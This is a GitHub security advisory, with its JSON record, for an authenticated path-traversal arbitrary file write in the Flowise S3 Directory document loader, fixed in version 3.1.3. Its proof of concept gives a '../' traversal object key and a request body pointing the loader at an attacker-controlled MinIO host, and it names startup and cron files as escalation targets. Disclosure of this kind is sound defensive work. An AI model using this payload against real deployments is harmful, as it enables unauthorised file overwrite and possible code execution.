GHSA-88PR-878C-24WF
Vulnerability from github – Published: 2026-08-04 17:43 – Updated: 2026-08-04 17:43Summary
Flowise on current main allows an authenticated user with
documentStores:preview-process permission to trigger the S3 Directory
document loader with attacker-controlled S3 object keys. The loader joins
each returned S3 key with a temporary directory using path.join(tempDir, key)
and writes the object bytes to disk without validating traversal sequences
such as ../. Cleanup later removes only the original temporary directory,
so files written outside that directory persist on the host filesystem.
This yields arbitrary file write with the privileges of the Flowise
server process.
A related variant exists in the S3File loader when
fileProcessingMethod = unstructured (same root cause; its cleanup behavior
turns it into a mixed arbitrary write/delete/DoS primitive).
## Affected component
packages/components/nodes/documentloaders/S3Directory/S3Directory.ts- line 191:
filePath = path.join(tempDir, key)(unsanitized) - line 213: recursive
mkdirSynccreates parent path - line 216:
writeFileSyncwrites attacker-controlled bytes - line 289: cleanup only removes the original
tempDir, so escaped
files remain on disk
- line 191:
- Related (variant):
packages/components/nodes/documentloaders/S3File/S3File.ts
(lines 756, 780, 782, 817 — arbitrary write + recursive dirname delete)
## Reachability
- Routes exposed:
packages/server/src/routes/documentstore/index.ts:41,45
(/api/v1/document-store/loader/preview,
/api/v1/document-store/loader/process/:loaderId) - Both require
documentStores:preview-process packages/server/src/services/documentstore/index.ts:588passes
data.loaderConfigstraight to the loader node with no path
sanitizationS3Directoryaccepts a customserverUrl, so the attacker does not need access to an existing trusted AWS bucket — they can point Flowise
at a local MinIO or any S3-compatible endpoint they control
## Impact
- Authenticated arbitrary file write to any path writable by the Flowise
process - Destructive overwrite of application data, secrets, or configuration
- Deployment-dependent lift to RCE if the service account can modify
executable, startup, or interpreter-loaded files
(e.g..bashrc, systemd units, cron files,require.resolvetargets,
package.jsonpostinstall scripts). This is not guaranteed
product-wide.
## Preconditions
- Flowise instance running (HTTP server mode)
- Attacker has a workspace account with the
documentStores:preview-processrole - No additional infrastructure required —
serverUrlcan point to
attacker-controlled S3-compatible endpoint
## Proof of Concept
- Authenticate as a user with
documentStores:preview-process - Run an S3-compatible server the attacker controls (e.g. MinIO)
- Create an object with a traversal key such as:
../../../../tmp/flowise-poc.txt - Trigger:
POST /api/v1/document-store/loader/preview
(or /api/v1/document-store/loader/process/:loaderId)
body: {
"loaderId": "s3Directory",
"loaderConfig": {
"serverUrl": "http://attacker-minio:9000",
"bucketName": "attacker-bucket",
"prefix": "",
"credential": ""
}
} - Observe that Flowise writes the object bytes to the escaped path
- Observe that cleanup removes only the original temp directory; the escaped file persists
Local reproduction confirmed: writing a key containing
../../escape-target/poc.txt from a nested temp root created the file
outside the temp directory, and the cleanup removed only tempDir.
## Root Cause
The loader trusts S3 object keys as safe local relative paths. It should
canonicalize the destination with path.resolve(...), verify the resolved
path remains within the intended temp directory, and reject traversal or
absolute-path patterns before any directory creation or file write.
## Suggested Remediation
The repository already has shared path validators that are not used here:
packages/components/src/validator.ts:35defines traversal checkspackages/components/src/validator.ts:295definessanitizeFileName
Recommended fix:
- Replace
path.join(tempDir, key)with a resolve-and-verify flow - Reject any resolved path outside
tempDir - Prefer a sanitized basename if directory structure is not required
- Apply the same fix to the
S3Fileloader (fileProcessingMethod = unstructuredbranch)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise-components"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.2"
},
"package": {
"ecosystem": "npm",
"name": "flowise"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-04T17:43:45Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary \n \n Flowise on current `main` allows an authenticated user with\n `documentStores:preview-process` permission to trigger the `S3 Directory` \n document loader with attacker-controlled S3 object keys. The loader joins\n each returned S3 key with a temporary directory using `path.join(tempDir, key)` \n and writes the object bytes to disk **without validating traversal sequences\n such as `../`**. Cleanup later removes only the original temporary directory,\n so files written outside that directory persist on the host filesystem. \n \n This yields **arbitrary file write** with the privileges of the Flowise \n server process. \n \n A related variant exists in the `S3File` loader when \n `fileProcessingMethod = unstructured` (same root cause; its cleanup behavior \n turns it into a mixed arbitrary write/delete/DoS primitive). \n \n ## Affected component \n \n - `packages/components/nodes/documentloaders/S3Directory/S3Directory.ts`\n - line **191**: `filePath = path.join(tempDir, key)` (unsanitized) \n - line **213**: recursive `mkdirSync` creates parent path \n - line **216**: `writeFileSync` writes attacker-controlled bytes \n - line **289**: cleanup only removes the original `tempDir`, so escaped \n files remain on disk \n - Related (variant): \n `packages/components/nodes/documentloaders/S3File/S3File.ts` \n (lines 756, 780, 782, 817 \u2014 arbitrary write + recursive dirname delete)\n \n ## Reachability \n \n - Routes exposed: \n `packages/server/src/routes/documentstore/index.ts:41,45` \n (`/api/v1/document-store/loader/preview`, \n `/api/v1/document-store/loader/process/:loaderId`) \n - Both require `documentStores:preview-process` \n - `packages/server/src/services/documentstore/index.ts:588` passes \n `data.loaderConfig` straight to the loader node **with no path \n sanitization** \n - `S3Directory` accepts a custom `serverUrl`, so the attacker does **not\n need access to an existing trusted AWS bucket** \u2014 they can point Flowise \n at a local MinIO or any S3-compatible endpoint they control \n \n ## Impact \n \n - Authenticated arbitrary file write to any path writable by the Flowise \n process \n - Destructive overwrite of application data, secrets, or configuration \n - Deployment-dependent lift to RCE if the service account can modify \n executable, startup, or interpreter-loaded files \n (e.g. `.bashrc`, systemd units, cron files, `require.resolve` targets, \n `package.json` postinstall scripts). This is not guaranteed \n product-wide. \n \n ## Preconditions \n \n - Flowise instance running (HTTP server mode) \n - Attacker has a workspace account with the \n `documentStores:preview-process` role \n - No additional infrastructure required \u2014 `serverUrl` can point to \n attacker-controlled S3-compatible endpoint \n \n ## Proof of Concept \n \n 1. Authenticate as a user with `documentStores:preview-process`\n 2. Run an S3-compatible server the attacker controls (e.g. MinIO) \n 3. Create an object with a traversal key such as: \n `../../../../tmp/flowise-poc.txt` \n 4. Trigger: \n POST /api/v1/document-store/loader/preview \n (or /api/v1/document-store/loader/process/:loaderId) \n body: { \n \"loaderId\": \"s3Directory\", \n \"loaderConfig\": { \n \"serverUrl\": \"http://attacker-minio:9000\", \n \"bucketName\": \"attacker-bucket\", \n \"prefix\": \"\", \n \"credential\": \"\" \n } \n } \n 5. Observe that Flowise writes the object bytes to the escaped path \n 6. Observe that cleanup removes only the original temp directory; the\n escaped file persists \n \n Local reproduction confirmed: writing a key containing \n `../../escape-target/poc.txt` from a nested temp root created the file \n outside the temp directory, and the cleanup removed only `tempDir`. \n \n ## Root Cause \n \n The loader trusts S3 object keys as safe local relative paths. It should \n canonicalize the destination with `path.resolve(...)`, verify the resolved \n path remains within the intended temp directory, and reject traversal or \n absolute-path patterns before any directory creation or file write. \n \n ## Suggested Remediation \n \n The repository already has shared path validators that are not used here: \n \n - `packages/components/src/validator.ts:35` defines traversal checks\n - `packages/components/src/validator.ts:295` defines `sanitizeFileName` \n \n Recommended fix: \n \n 1. Replace `path.join(tempDir, key)` with a resolve-and-verify flow \n 2. Reject any resolved path outside `tempDir` \n 3. Prefer a sanitized basename if directory structure is not required\n 4. Apply the same fix to the `S3File` loader (`fileProcessingMethod = unstructured` branch)",
"id": "GHSA-88pr-878c-24wf",
"modified": "2026-08-04T17:43:45Z",
"published": "2026-08-04T17:43:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-88pr-878c-24wf"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/pull/6549"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/commit/571b5d6218b1c129588ac625c8f20e30905a67cb"
},
{
"type": "PACKAGE",
"url": "https://github.com/FlowiseAI/Flowise"
},
{
"type": "WEB",
"url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Flowise: Authenticated arbitrary file write in the `S3 Directory` document loader via unsanitized S3 object keys "
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.